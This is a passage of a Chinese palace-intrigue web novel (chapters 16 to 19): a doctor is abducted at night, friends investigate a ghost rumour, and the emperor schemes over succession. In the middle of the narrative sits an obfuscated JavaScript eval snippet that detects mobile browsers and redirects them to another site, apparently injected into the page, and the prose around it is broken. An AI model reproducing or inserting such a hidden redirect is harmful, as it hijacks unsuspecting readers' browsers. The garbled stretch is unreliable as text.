牧泓屿摆摆手,“无妨,只要映梧姑娘和高公子能原谅我就好。日后再见,我们就是朋友了,无需拘束,你们直呼我的名字就好。” 高琢笑道:“泓屿,你以后也不必拘束,就叫我高琢就好。” 四人你看看我,我看看你,彼此交谈打趣,少年间友情就自此开始了。 四喜按照约定的时间等在皇城大门处,他大老远就见自家主子步伐轻快,与往日不同。 他急忙迎上去道:“殿下今日可是见到肖遥将军了?” 牧泓屿勾起唇,拍了下四喜的脑袋,“多嘴。” 车轮向宫中缓缓进发,牧泓屿望着落日的红霞心生欢喜。 阿遥,我终于走进你的生活了。 16. 出师不利 戌时,济世堂内最后几个抓药的病人都走光了。大虎拿起扫帚扫去地上的杂物,归置好今日取药的药单。 干完活,大虎活动了下酸痛的肩膀和脖子,美美伸了个懒腰。他放轻脚步走到师父的房门前,叩门问道:“师父,您今晚还回家吗?” “师父今日累了,晚上要回家睡一觉。大虎,你今晚在医馆守着,若有病人,就来我家寻我。” 霍大夫把给姚映梧新配的药方装进药箱,想回家再斟酌下药的配比。 他吹熄屋内的蜡烛,回首看了眼透过月光的窗户。他心中嘀咕,不知信鸽何时能把信送到滕州去。这个好消息,可千万要赶快送到啊。 霍大夫花白的头发在月光下格外耀眼,大虎担心城中闹鬼的事,开口问道:“师父天色晚了,要不要我送您回去啊?” 霍大夫回道:“大虎啊,师父还没老到走路都要人扶的程度,你就安心守在医馆。对了大虎,为师明日要早些来配药,等快到辰初时,你就把门打开吧。” “哎!我记下了师父。夜路漆黑,还会经过闹鬼的巷子,师父你要当心些啊。” “放心吧,大虎你今日累了一天了,早些睡吧。” 霍大夫背好药箱,伸手接过大虎递来的灯笼,踏进了浓墨般的夜色中。 霍大夫家离医馆不远,他经常忙到夜深才回去。 他原本习惯了在滕州边境之地时入夜后的寂静,可第一次到盛安时才知道,原来夜晚也可以灿烂夺目。多数富贵人家都会在大门悬挂琉璃灯,夜晚的街市也是灯火通明的。 近日,深夜总会传来孩童吟唱童谣的声音,家家户户都不再逛夜市,早早的闭门谢客进入梦乡。 怕招来鬼魂,人们也不再大门处和屋内点琉璃灯了。街上变得和在滕州时一样,黑漆漆一片,只有他脚下的方寸之地亮着微光。 没了大门处明亮的灯火,霍大夫一时还有些不习惯。 哇哇哇—— 霍大夫被乌鸦突然的叫声惊得回了神,他将沉甸甸的药箱往肩上提了提,继续走在深夜中。 “前面走得,可是霍大夫?” 一声尖细阴柔的声音喊住了霍大夫。 他停住脚步,转过身问道:“是我,阁下可是来看诊的病人?” 面前的人没有立刻回答,反而从嗓子中挤出几声笑声,“我家主子听说您医术高超,最会治疗疑难杂症,在滕州时就有杏林圣手的名号。主人深受怪病折磨多年,特意让我们来请您的。” 天太黑了,霍大夫看不清面前来人的脸,他伸直手臂让灯笼的的光照得更远。 “明日吧。今日太晚了,若你家主人不是急病,我明日再登门问诊。” “呵。”那人冷哼一声,站在原地没动。 他继续说道:“霍大夫明日可不行啊,我家主人心急等不了了。” 灯笼发出的微光忽明忽暗,映在来人白净细嫩的脸上。等霍大夫看清楚来人的面貌后,手一松,灯笼摔到了地上。 他稳住心神余光看准附近的一户人家,他悄悄挪动着脚步。 霍大夫眼看距离足够,又见眼前之人好像没发现他的动作,他当机立断,飞快跑向眼前的人家。 咚咚咚——!咚咚—— “救命啊,救……” 那人玩味的注意着霍大夫的小动作,眼见他去呼救,直接出手,一记手刀将他劈晕过去。 “哼,老东西,还敢跟我玩花招。” 他弯腰将地上的霍大夫扔到身后的牛车上,路过碍事的灯笼还不忘一脚踢开。 那人坐上牛车,拿出手帕擦掉手上沾的灰,“走吧,主子还等着我们呢。” 驾车的人扬鞭一甩,车子慢悠悠的消失在深夜中,路边只留下一块脏掉的手帕。 天色微明,晨光熹微。 货郎拉开大门,一边将货担挑到肩上一边对院中玩耍的儿子说道:“吃过早点就去学堂,别总让你娘亲操心。” 喀嚓—— 男人脚下踩到了东西,他放下货担,捡起已经扁塌的灯笼上面写了,“济世堂?” 男孩听见爹爹的声音,好奇地跑出来,“你看爹爹我没胡说,昨晚我就是听到有人敲咱们家的门。” 男人将灯笼扔到一边,“别胡说,昨夜风大,指不定是哪吹过来的。最近闹鬼闹这么厉害,你下了学堂早早回家来,不许在外面浑玩。” 男孩失落地垂下头,“知道了,爹爹。” 姚映梧与肖遥早早来济世堂门口,等着高琢和牧泓屿。 “阿缘,你出来时看见昨日跟踪你的两人了吗。” 姚映梧摇摇头,“没有,今日我特意多绕了两圈才来,没见他们二人再跟着我了。” 肖遥将手搭在下巴上,“难道昨日是我看错了?可他们的确跟着云昙回了丞相府啊。” “映梧,肖遥,我们来了。” 高琢停下马车,牧泓屿掀开车帘道:“咱们人多太显眼了,我跟高琢等在这,你们两个进去问吧。” “好。” 姚映梧推开济世堂的大门,和肖遥走了进去。 大虎正清点着采药人送来的药材,“师父您今日怎么晚了半个时辰啊。” “大虎哥,是我。” 大虎抬起头,见来人是姚映梧跟一个陌生的姑娘,不是师父。 他挠挠头,不好意思道:“是小姐啊,我以为是师父呢。” 肖遥看着地上堆放的药材,问道:“这么大的医馆,只有你一个人忙吗?” 大虎解释说:“不是的小姐,平日都是我们几个学徒一起忙的。只是昨日是我守夜,我便先忙着了。您是要看病,还是抓药。” 姚映梧走上前几步,低声问道:“大虎哥,我今日来是想问你,你可知窦秀才死后埋在哪儿了。” 大虎沉思片刻才回道:“他姐姐说他们不是盛安人,要把窦秀才的尸体运回到家乡埋葬。可具体是哪,我就不知道了。” 姚映梧失落的叹口气,线索怎么又断了…… 肖遥拍拍姚映梧的肩膀,继续问道:“她弟弟之前可生过病,不然一个大活人怎么会活活累死呢?” 大虎笑着否认道:“没有的小姐。我虽现在还是个小学徒,但小病我也能看出来的。窦秀才面色红润,身体康健,绝对没生病。而且我们两家隔的也不远,他若生病肯定会来找我的。” 大虎顿了顿,继而话锋一转,“不过确实有点奇怪,窦秀才死的那天,我正好在家。他姐姐抱着尸体痛哭时,我偷偷瞄了一眼窦秀才的尸体,他的手白得吓人,青白色的。运尸体的人从我身边经过,我一不小心蹭到了窦秀才的指尖,冰凉的,冷的瘆人。” 姚映梧疑惑道:“可是,人死后超过一段时间尸体不就会变凉吗。” 大虎想着那日的事,眼神都变得惊恐起来,“小姐,不一样的。就像是,摸到冰块一样冷。” 姚映梧和肖遥对视一眼,确定这个窦秀才的死绝对不是那么简单。 姚映梧十分疑惑,她为什么不报官,是不敢,还是不能。 大虎打了个寒战,说:“小姐,大早上咱们还是别不说死人的事了。小姐稍等一会儿,等师父来了,就让他给您诊脉。” 肖遥不解道:“医馆都开门了,你师父却没到,那病人来了找谁看病呢?” 大虎边说边走到门口四处张望着,“师父昨日特意嘱咐我让我不到辰初就开门的。怎么会还没来,许是路上碰见病人耽搁了?” 肖遥估摸了下时辰,说:“现在可是辰正了。什么样的病人能耽搁这么久。” 姚映梧担心道:“大虎哥,你还是去一趟霍大夫家吧。虽说他是大夫,可毕竟他年纪也大了,万一突然间生了病可怎么好。” 大虎焦急地点点头,“小姐说的是,那我把医馆关了,去寻师父吧。早知如此,昨夜就不该让师父自己回去的。” 姚映梧安慰道:“这也 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“怎么了皎皎,你不舒服吗?” 肖遥神色严肃,一字一句说道:“阿缘,你可知我肖家率领的铁甲覆面军,与忠勇侯的甘家军和大邺其他兵士相比有何不一样。” 姚映梧不明所以,还是乖乖答道:“自然,大邺人谁不知肖家的铁甲覆面军是延续前晋时平戈公主立的规矩,将士无论男女皆覆铁面出战。旨在告诉将士,只要出战,皆为我大邺好儿女。因覆铁面看不清样貌,人人不论世家不论美丑不论性别,只看重本事和军功。” “那你可知,铁面上是有图案的。” 姚映梧心中一震,犹豫道:“难道是…白泽?” 肖遥沉声道:“是白虎。” 姚映梧刚送了一口气,拍着胸脯道:“皎皎,你吓死我了。我还以为是白泽呢。” 肖遥紧皱着眉头,盯着姚映梧的眼睛说:“阿缘,铁甲覆面军在我祖父为前晋效力时,铁面上的神兽,就是白泽。” 姚映梧惊到说不出来话,“前晋,白泽,你祖父…这……” 肖遥挑了挑眉,“你竟不知我们肖家和你娘亲的母族都是前晋旧臣,我祖父和你外祖父还同朝为官呢?” “映梧惭愧,我自幼丧母,舅舅又远在滕州,外祖家的事我一点都不知晓。若以后有机会,皎皎你一定要告诉这些事。我也想知道外祖父为官时的事,不知他和你祖父是不是至交。” 肖遥听后愣了一下,她自知失言,扭过头一笑,“祖辈间的事我也知之甚少,等我回去再问问我祖父吧。” “那就多谢肖遥小姐了。” 肖遥干笑两声打岔道:“阿缘,你说童谣背后涉及你父亲和家族名誉,可如今扮鬼的人又故意画上白泽面,他们到底想做什么。” 姚映梧勾起唇轻笑两声,“盛安士族,最盛姚肖。盛安两大士族若因童谣被陛下猜忌,自然会有渔翁得利。” “走吧阿缘,咱们去找这个藏不住狐狸尾巴的渔翁,顺便再找找霍大夫。” 济世堂外霍大夫种了一片竹林,早晨的鸟儿在阳光里叫得格外欢。 牧泓屿站在马车旁揉着眉心,叽叽喳喳的鸟叫声叫的他心烦。 高琢在济世堂门口来来回回的踱步,还和回来的大虎撞到了一起去。 “哎哟。”高琢捂着头堪堪站稳。 牧泓屿见状微蹙了下眉,还是扶了下高琢,关切问道:“还好吧高琢。” 高琢两眼直冒金星,怕牧泓屿担心摆了摆手道,“多谢,我…我没事。” 大虎可就没高琢这般幸运了,两人相撞后他脚下一晃,一个没站稳直接摔进屋子里。 他顾不得身上的疼,赶忙爬起来冲着屋内喊道:“小姐,大事不好了!我问过邻居和照顾师父的家仆,他们都说师父昨夜根本没回来,都以为师父在医馆过夜呢。小姐!师父他失踪了!” 17. 平静的危机 “大虎哥,你别担心。这儿离公廨比较近,大虎哥,你先去报官,我们几个也会一起帮你找霍大夫的。” “好,小姐,我听你的。”大虎擦了把额头上的汗,镇定了下来。 两人安抚好大虎也立刻动身去找霍大夫。 姚映梧与肖遥并肩着走出来。牧泓屿见肖遥脸色不太好,松开扶着高琢的手,急忙朝肖遥快步走过来。 “阿遥,怎么了,是出什么事了吗?” 肖遥看他担心的样子解释道:“我没事,只是阿缘看病的济世堂的霍大夫不见了。” “什么!嘶——” 高琢本就还有些头晕,之前生病时留下了偶尔头疼的病根,今日跟大虎这么一撞,头疼的毛病又复发了。 “高琢你怎么样,是不是又头痛了。” 姚映梧急忙走到高琢身边搀住他,“要紧吗,要不要休息一会儿?” 肖遥见高琢原本红润的面色霎时间变得煞白,也凑上前关心道:“高琢,你若疼得厉害,咱们先去看大夫吧。” 高琢晃了晃头,眼前逐渐清明。他缓过劲来笑道:“我没事了,以前留下的小毛病,不妨事。” 牧泓屿负手走到肖遥身边,“那咱们现在是去查‘鬼’还是去找大夫啊?” 姚映梧眼神飘忽地看向肖遥,她现在唯一能想到的线索就是白泽了。 肖遥接收到姚映梧的眼神,不停冲她摆手。此事她还拿不准,她想让姚映梧先别将白泽的事讲出来。 牧泓屿瞥见两人的小动作玩味地挑起眉,看来,她们两人进济世堂说了些他跟高琢不知道的事。 高琢捂着脑袋不明所以地盯着姚映梧和肖遥,“你们两个,这是干什么呢。” “啊,那个,没什么。” 肖遥眼神不自在地到处乱瞟,牧泓屿嘴角含笑一直盯着她,盯得肖遥更显心虚。 姚映梧眼光也一直再牧泓屿和肖遥身上扫过,见肖遥心虚的样子,她连忙打哈哈道:“咱们先…先找霍大夫吧,童谣这边…线索断了……” 牧泓屿质疑的目光跟高琢炽热的眼神交织在一起,姚映梧都不知该怎么胡编了。她不经怀疑自己,是不是不应该算上他们两个。 肖遥见姚映梧从脸颊一路红到耳朵,急忙为她开脱道:“哎呀,今日时辰也不早了,咱们赶紧去寻霍大夫吧。阿缘,快,咱们走。” 姚映梧如释重负呼出一口气,她回牵住肖遥的手,说:“对啊,时辰不早了,咱们快些去霍大夫的家中瞧瞧,说不定有线索呢。” 高琢不知映梧为何如此紧张,不解地望向牧泓屿。 牧泓屿对上高琢疑惑的眼神无奈地对他摊手,他对姚映梧的怎么想的不感兴趣,自然也没什么要告诉他的。 高琢赶着马车,车子晃晃悠悠地前行着。 “皎皎,白……” “阿缘,低声些。” 肖遥指向马车外的两人,她知牧泓屿耳力好于常人,于是让姚映梧说话轻声些。 “皎皎,白泽兽面的事为何不能告诉他们二人?” “阿缘,你觉得此事若真让我们两家陷入危险的境地,那谁会得利呢?” 姚映梧将自己认识的世家大族想了个遍,实在没想到会对谁有利。 “盛安世家大多同气连枝,即使有人想动手也不会挑这种损人不利己的方法啊。童谣牵扯大邺两任帝王,借此对姚肖两家动手一旦失败,岂不满盘皆输全族不保?” “所以,会行此险招的只有没落的士族或是,如今大邺最有名望的新权贵,陛下的心腹之人……” “皎皎你是说……” “除了高琢的兄长,我也实在想不起会有什么人了。” 肖遥的话让姚映梧万分震惊,她脑海中不由又想起了昨日的事。她虽有怀疑,但也不接二连三能随便怀疑高琢的兄长。 皎皎能这般坦然说出此话,肯定是有什么证据,自己还是要问清楚才好。 “若真如此,他兄长的野心未免也太大了些吧。皎皎,你可是有什么证据。” 肖遥否认道:“我也只是猜测。昨日我回去后同红豆问起你的药,是她提醒我说高羡此人不像表面那般简单,让我不要与他有什么交集。此事毕竟将肖家与前朝联系在了一起,事关我肖家全族,还是谨慎些好。” 姚映梧拍拍肖遥的手应和着说:“是啊皎皎,此事谨慎些总没错,我会帮你保密的。为今只能先去寻霍大夫,童谣之事,只能先暂时搁置了。” 肖遥神情严肃,郑重地承诺道:“阿缘你放心,我已经让阿姜姐和红豆去盯着窦花娘了,只要她一有动作,我们就能有新的线索了。我也决不会让童谣之事,耽误肖姚两家。” 高琢驾着车往霍大夫家方向走去,他突然望见前方躺着一只被踩扁的灯笼,样式也十分眼熟。 “咦?这是什么。映梧,肖遥,你们快出来看,是济世堂的灯笼。” 几人下了马车,高琢先走过去将地上的灯笼捡了起来。 “济世堂,这是霍大夫点的灯笼吧。”高琢将灯笼递给三人看,“灯笼都被踩坏了,霍大夫昨夜肯定在这附近被歹人掳走了。” 牧泓屿嗤笑道:“掳走?谁会费这么大劲绑架一个七十岁的人,他手不能提肩不能抗,绑回家养着不是一个累赘吗?” 肖遥附和道:“的确,霍大夫年纪大了还是附近远近闻名的医者,绑架他很快就会被发现了。难道是图财?见霍大夫生意好,想绑架他索要赎金?” 姚映梧疑惑道:“那绑匪应该早就留信向济世堂索要赎金,可我们今日没见到信吧。” 高琢信誓旦旦的回道:“绝对没有,济世堂的大门我来来回回走了有二十趟,完全没见到什么信。” 牧泓屿提议道:“霍大夫应该就是在这附近被绑走了,不如咱们四个分开去问。” 牧泓屿本想借此跟阿遥单独待一会,结果阿遥说四人分开找得更快,果然那日说什么灭掉闼鞑再考虑和他在一起的话是诓他的。 哎,他总是被阿遥的权益之计给骗到。 牧泓屿找了处干净的地方坐下发呆,他才不想找那个大夫呢,有这个时间不如跟阿遥一起去骑马,再去吃她喜欢的金乳酥。 可惜啊,若是不跟着一起找霍大夫,他还不知何时能见上阿遥一面。虽然,现在做的事很无趣,但能日日见到阿遥就好,别的都不重要。 旁边的私塾下了课,许多孩子都涌出来玩。安静空旷的巷子顿时热闹起来,打搅了牧泓屿的好兴致。 他站起身拍拍身上不存在的尘土,准备换个地方细细筹划一下他和阿遥的以后的日子。 他眼尖的看见学堂后有一棵大柳树,树下有一块平整的大石墩,牧泓屿坐下闭上眼晒起太阳来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17067082|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“兰花,我要给你个好东西。是我今日在家门口捡到的。” “哼!捡到的我才不要。二宝,你自己拿着吧。” 牧泓屿无奈地睁开眼,怎么到哪儿都躲不开。 他好整以暇看着两个孩童间的玩闹,有点像他和阿遥小时候…… 二宝跑去捡起帕子,将它塞进兰花的手里,“兰花妹妹,这个料子可软了,我捡到后还给我我娘亲看来着,她原是想自己留下的。我说要送给你,她洗干净后让我带给你的。你瞧,上面还用漂亮的线绣了花呢。” “是哎,二宝哥哥,摸上去还有点凉凉的好舒服。” 牧泓屿顿时察觉到一丝异样,漂亮的线,凉凉的布料,听起来价格就不便宜,谁会随手丢掉呢。 牧泓屿掏出几文钱,走到两个孩子面前蹲下说道:“二宝,兰花,你们愿不愿意给哥哥看一下这个帕子啊。要是你们愿意给哥哥看,哥哥手里的钱就给你们买糖吃,好不好。” 孩子们开心的做了这笔买卖,将手帕递给了他。 牧泓屿手中的金线蚕丝手帕他再熟悉不过,这是宫里的东西怎么会在这儿…… 牧泓屿忐忑地问道:“二宝你是从哪儿捡到的手帕?” “就在我家附近。昨夜有人敲我家的门,今早我就在附近捡到了这个。” “那你们家附近可还有一盏灯笼?” “有啊,爹爹说叫…什么糖来着,我想起来了,是柿子糖。” 牧泓屿笑着将手帕还给二宝和兰花,回去的路上他百思不得其解。 宫里的人带走了霍大夫吗?前段日子父皇病了,宫里如今最不缺的就是大夫。 难道是父皇的病加重了?不会啊,他今早向他请安时,他还有力气冲他扔茶杯来着。幸好母后拦了一下,不然他可能就破相,阿遥就更不可能喜欢他了。 那是太后?她病了,怕被太医院和父皇知道,所以绑走了霍大夫?可是,三一姑姑会帮她看病的,之前小皇叔一直都是她照顾的啊。 那是母后?可母后是武将出身,每日正午都会练一个时辰的肖家戟法,她身体一直好得很。 到底是谁呢?为什么要绑走一个老郎中? 不行,若此事与宫中有牵连那他一定得阻止阿遥查下去。不然,一但找到凶手在宫中,岂不会影响他离开皇宫,随肖遥去蔺州吗。 “泓屿!泓屿!” 高琢跑得上气不接下气,“你…你想什么呢,我刚刚叫了你半天了。你那边可有收获?” 牧泓屿自是什么都没有查到,他脸不红心不跳回道:“唉,我问了许多人还是一无所获,你呢有收获吗?” 高琢听到牧泓屿的回复,沮丧地说:“完全没有,大家都害怕半夜童谣声,早早睡下了,根本没人在霍大夫失踪的时间出来。怎么办泓屿,他是给映梧看病的大夫,大家都知道他医术高明连映梧自小的顽疾都能治好。若是他不在了,映梧以后病又复发了可怎么办啊。” “大家都知道他治好了姚映梧的顽疾?” “对啊,昨日有人在济世堂针灸,亲眼看见映梧健步如飞,跟以前的样子不一样了。大家都夸他是神医呢。” 牧泓屿心中升起一股不好的预感,若霍大夫连姚映梧的病都能治好,难道?是父皇! 高羡的药难道没起效果吗? 为了阿遥,他得早做打算了。 18. 再聚和羹居 “你们两个问到什么了吗?” 肖遥紧紧拉着姚映梧的手,急匆匆地从南边跑过来问道。 牧泓屿见她们二人一同回来,委屈的问道:“你们两个怎么在一块儿,不是说要分头找的吗?” 姚映梧见他误会,喘了口气平复一下,开口解释说:“不是的。我刚才敲开一户人家问她们霍大夫的事。她的邻居回来,见来人是我,突然冲上来把我围住追问。她们七嘴八舌嚷着说,果然我已经被霍大夫给治好了,她们还说他是神医,围着我问我霍大夫去哪了,怎么今日济世堂没人。皎皎恰好碰上了我,把我拉了出来。” 牧泓屿心中惊愕无比,他装作不经意问道:“霍大夫医术当真这么厉害?” 姚映梧与肖遥对视一眼,都知不能暴露姜煜和姜燃的存在。 她们异口同声道:“当然。” 牧泓屿深知不能再让她们去查霍大夫失踪一事了,他干笑道:“我有些饿了,咱们去和羹居吃早点吧。我去赶马车。” “好啊,正好我和阿缘也饿了,我们在这等你。” 肖遥说完立刻拉着姚映梧走到一边,两人商量怎么把姜煜姜燃替姚映梧治病的事彻底瞒过去。 一时间只剩高琢站在原地,没处可去。 “奇怪,他怎么突然要赶车了,不是一直让我去的吗?而且现在还不到吃午饭的时辰啊。” 和羹居,几人坐在大堂里喝着茶。 陶掌柜站在一旁陪笑道:“姚二小姐,真不好意思。小店巳初开门,巳正时分才开始卖糕点。楼上雅间还在收拾呢,只能委屈您在大堂将就一会了。” 姚映梧不在意的摆摆手,“无妨,您去忙吧。我们喝壶茶就走。” 牧泓屿猛地放下茶杯,说:“只喝茶怎么行,陶掌柜,你们这做什么糕点最废时间啊?” “公子,那我们店可太多了。少说也得有十来道吧。” 牧泓屿听到有十几道后勾唇一笑,十几道点心,等做好再吃完也得午时了。 到时候他再把她们两人支开,去查慧慈院和童谣,自己跟高琢这个笨蛋去找霍大夫。高琢可比她们两个好糊弄多了。 牧泓屿轻叩着桌子,“那,每样都来一道。” 桌前倒茶的吴介突然喊道:“每样一道!” 陶掌柜瞪了他一眼,“客人还在呢。大吼大叫像什么样子。” 吴介不好意思地向几人笑笑,走到陶掌柜身边说:“掌柜的您忘了,昨日有两个糕点师傅跟您告假来着,说家中有事这几日不能来店里了。这十几盘,得做好几个时辰呢,别的客人要是再来买糕点,咱们恐怕就没功夫做了。” 陶掌柜面露难色,“可,贵客们都……” 姚映梧见陶掌柜为难,而且她们只是想搪塞不是霍大夫给她治病的事,也确实无需做这么多费时的糕点。 “无需这么多糕点,陶掌柜再给我们续壶茶就好。” 刚才跑得太快,姚映梧有些口渴,她索性又要了壶茶。 “得嘞,您稍等。” 吴介应下,脚下方向一转,便准备去后厨添茶。 “等等。”牧泓屿叫住吴介,“上盘桂花糖糕和栗子糕,再要一碟金乳酥。” 吴介微微一顿,弓着身笑着回道:“好嘞公子,糕点一会儿就得。” 牧泓屿面上虽无虞,却心乱如麻。 他面色不善,思索着一会儿该找什么借口让她们两个去慧慈院,手中不自觉又拿起茶壶添了一杯茶。 肖遥正对着滚烫的茶水吹着气,见牧泓屿添茶的动作疑惑道:“你不是一向都只爱喝四喜烹的茶,今日怎么喝了这么多和羹居的茶水。” 牧泓屿呼吸一滞,他没想到肖遥竟将自己的喜好记这么清楚。 他眼神温柔的看向肖遥,“今日走得路多口渴了,一时也顾不上了。” 肖遥没再深究,点点头又继续喝茶了。 牧泓屿神情微舒,痴痴望着肖遥的动作,他绝不能让阿遥有一丝危险,他们还有大好的未来呢。 啪——! 大堂内的说书台上不知何时坐上来了一位年轻男子,他右手执醒木拍案,开口讲道:“今日我们说说附属国兰诏与我大邺的故事。” “前些年利鹘国力强盛,利鹘国君戈罗哈吉对邻国兰诏是虎视眈眈,多次出兵来犯。先皇桓帝时,兰诏国主黎穆年幼,朝中阉人当权,卖官鬻爵之事数不胜数。” “利鹘来犯兰诏城中无将可用,兰诏的裕太后修书表诚,愿今后为我大邺藩属之国并嫁芦元公主与先帝结秦晋之好。先帝自襄武皇后死后一生不曾再立皇后,芦元公主入宫即为黎贵妃,为后宫之首。更为先帝生下齐王殿下,成就我大邺与兰诏一段佳话。自此兰诏便与我大邺结为姻亲之国关系甚好,两国百姓也你来我往,互通有无。” 砰! 肖遥砰的一声将杯子重重放到桌上。姚映梧见肖遥面色阴沉,恐是想起了她的姑祖母。听长姐说,当今的太后与襄武皇后肖愿有七八分相像。 她对台上的说书先生道:“先生,可否换个故事来讲。” 台上的年轻人冲她颔首,右手执醒木又击案一声。 啪——! “咱们就说说那被闼鞑灭国的利鹘国。” “说那利鹘原是外邦之国,全靠昂真公主早年拜在乾坤道人门下学习玄门五术,学成后四处征战吞并周边小国,才壮大了利鹘。老国王病逝,王子戈罗哈吉与公主戈罗昂真夺王位。老国师阿莫沙与其子阿莫揭均追随哈吉,设计围杀戈罗昂真……” 姚映梧第一次这些事,觉得有趣极了。她边听故事边随手倒了杯茶,抬眼却瞥见肖遥还在生气。 她凑近肖遥低声说:“他们这一般都讲才子佳人的故事,许是见你来,故意讲些和你你姑祖母有关的事来巴结你吧。” “巴结我?”肖遥怒不可遏,“我看是故意提这些来气我还差不多。” “别生气了,他们有这心,只是没巴结到点上罢了。消消气,你听这个故事,我还从来没听过呢,这个有趣儿。” 说书的男子说道精彩处,声音也随之提高。 “哈吉夺得王位后,境内自此安定。利鹘商业繁茂,闼鞑来往的胡商多与利鹘做生意。胡商将利鹘的国宝暖玉上呈闼鞑王,王后十分欢喜,要向利鹘大量购入。利鹘称暖玉为王室专供,不多商卖。闼鞑王拓跋庚便以此为借口,出兵利鹘。此时利鹘国内已元气大伤,无力抵抗,不过半载终是亡国。” 说书人讲到这话锋一转,“那利鹘遗民被亡国后贼心不死,在大邺边境偷偷集结练兵,意图谋夺我大邺城池,好卷土重来。幸得定远侯肖家门下密探,先探得消息,报至陛下。陛下震怒,派振威将军为先锋,姚丞相为监军,两人直奔利鹘贼寇之窝点,将这些亡国之徒一网打尽。此战,振我大邺将士雄风,更威慑闼鞑收起狼子野心,壮我大邺威名!” 啪——! “好!” 高琢听完忍不住鼓起掌了,“说的好。” 姚映梧也附和着鼓掌叫好,她笑着看向肖遥,“你看,他们之前就是想巴结你来着,没想到你生气了。” 肖遥听了这段气早就消了,止不住拍手叫好。 她骄傲的对姚映梧说道:“哼,之前就算了。这战虽然不是什么大战,但我兄长可是大邺最厉害最年轻的将才,我父亲都比不上他呢。” 姚映梧和肖遥说话间,见那说书人起身退场时腰间挂着一个香囊,样式正是云昙那日丢的样子。 高琢闻此,笑嘻嘻的讨好道:“肖遥,你兄长那么厉害我能不能拜师啊。” 肖遥噗嗤一下笑出声,“那你可要等许久了,我兄长如今在庆州戍边,一时可回不来呢。” “啊。”高琢心中遗憾,悄悄望向姚映梧,他本想拜个厉害的 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牧泓屿淡淡瞟了一眼吴介,他现在可没心思管一个伙计。 他长吁一口气,骗肖遥道:“阿遥,今日我出来是见母后脸色不太好,我有些担心想回宫瞧瞧她。” 肖遥顿时慌了神,“什么,姑母要不要紧啊,若姑母真病了,你可一定帮我好好照顾她。” 姚映梧也正好想回家问云昙香囊的事,“今日大家也累了,想必大虎哥已经报官了,我一会再差人去问问。咱们今日就先散了吧,明日咱们再在这碰面。” 大家异口同声:“好。” 肖遥和牧泓屿先走了,她担心姑母的身体,出门时还一直不停地问着姑母的近况。 姚映梧见两人走远,坐到高琢身边嘱咐道:“高琢,我的病……” “阿缘,我都知道的。”高琢迅速打断姚映梧的话,环顾四周后才低声说:“蒙面。” 姚映梧掩面惊讶道:“那你还同泓屿说是霍大夫。” 高琢皱起眉,“那是自然,蒙面人的事要保密,自然要说霍大夫对你很重要啊。” 他凑到姚映梧眼前,瞪大眼睛不解地问道:“阿缘,你当我是好骗的人吗,他随便问问我就能把你的事全说出来。” 姚映梧心虚地笑笑,“怎会,高公子一表人才,自是,聪明绝顶。” 高琢被姚映梧哄开心了,回道:“映梧,你也不差呢。” 姚映梧看着高琢的样子,心生几分愧疚,掩饰地端起茶喝了起来。 皇城,朱红色的殿门在正午的日头下更显鲜艳,屋顶的琉璃瓦和屋檐上的蟠龙为这抹亮色增添了几分庄严。 宫道上,一个小宦官一路小跑,直奔皇城内最大的宫殿。 钟内侍挥手让小宦官退下,自己放轻脚步转身走入殿宇内。 啪——! “好一个肖攘镰!好一个定远侯!” 钟内侍弯下腰,捡起地上的奏议,恭敬递到陛下面前,“陛下这是怎么了?” “朕昨日上朝时对肖攘镰百般敲打,他都一直不肯松口让肖逾袭爵。今日他又上了折子说他虽有一身伤病,但仍有力气继续为国征战。这个定远侯,他肖攘镰是要做到什么时候才能罢休!” 牧怀兴冷笑道:“若不是忠勇侯年迈伤病无法领兵,大邺与闼鞑战事又愈发吃紧,爵位承袭之事,朕怎会需要看他肖攘镰的脸色。肖逾是老侯爷带大的,像他,朕很是欣赏。肖遥自小跟着肖攘镰,性子也与他有八分像。朕,很不喜。” 钟内侍察觉陛下的怒气,缓缓开口道:“许是,七皇子也有所察觉,想为陛下分忧。他若能与肖遥将军成婚,她自然不能承袭爵位了。” 牧怀兴神色愠怒,“老七?现在朕的事,他也敢管了?” 19. 坊间破屋 龙椅上的人合上手中的奏议,发出的声音低沉没有一丝波澜。 “他又去找肖遥了?” “是,陛下。刚得到的消息。是御守府刚派人送来的,老奴不敢胡说。而且七皇子自小就与肖遥将军关系亲近,如今长大了,关系自是更好了。” 钟内侍抬眼看了下陛下阴沉的脸色,继续回道:“跟七皇子今日一起的,还有姚丞相的二女儿。” “放肆!他好大的胆子!” 牧怀兴缓缓说道:“钟谋,你说朕当年是不是应该在他生下来时就直接杀掉他,就跟赐死他母亲一样。” 钟内侍回道:“老奴记得当时皇后极力阻止陛下,说皇嗣凋零,去母留子即可。还愿亲自抚育七皇子长大,决不会将金庶人的事告诉七皇子半分。” “皇后仁慈,说他毕竟是我的孩子。这些年,屹儿峥儿她都教养的极好。他,我这么多年还是看着心烦。他如今还敢惦记上肖遥。哼,和他母亲一样下作。” “陛下,您别生气,当心身体啊。高统领不是说服过药后,万不可动气,否则伤及根源,再好的药都无用了。” 牧怀兴长长吐出一口胸中的浊气,道:“扶锦若不是肖家女就好了。没有当年的事,我有阿霓为妻,锦儿和珮儿两妃,有屹儿和峥儿两个孩子,此乃我人生一大幸事啊。” 钟内侍稍作迟疑,还是出声劝道:“陛下,先皇后已经故去多年。陛下身边幸得皇后娘娘与章贵妃知心陪伴,对您百般体贴照顾。先皇后在上,定能安心了。” 牧怀兴苦笑着摇头,不住的感叹道:“你呀,这么多年了,永远不会顺着我说话。” “是啊,都多少年了。老奴一进宫就被先帝派去伺候陛下,一眨眼竟过去四十年了。” 牧怀兴摊开手中的奏议,正色道:“钟谋,姚尺书将他的幼妹嫁给屹儿的时候我就对他疑虑,甘霆因阿为霓对我也心存芥蒂,如今这世上我最亲近的人只有你了。若我有一日像父皇一样暴病身亡,你可一定要将诏书留好。不要让他跟我一样,坐上天底下最尊贵的位置,却还要背上污名。” 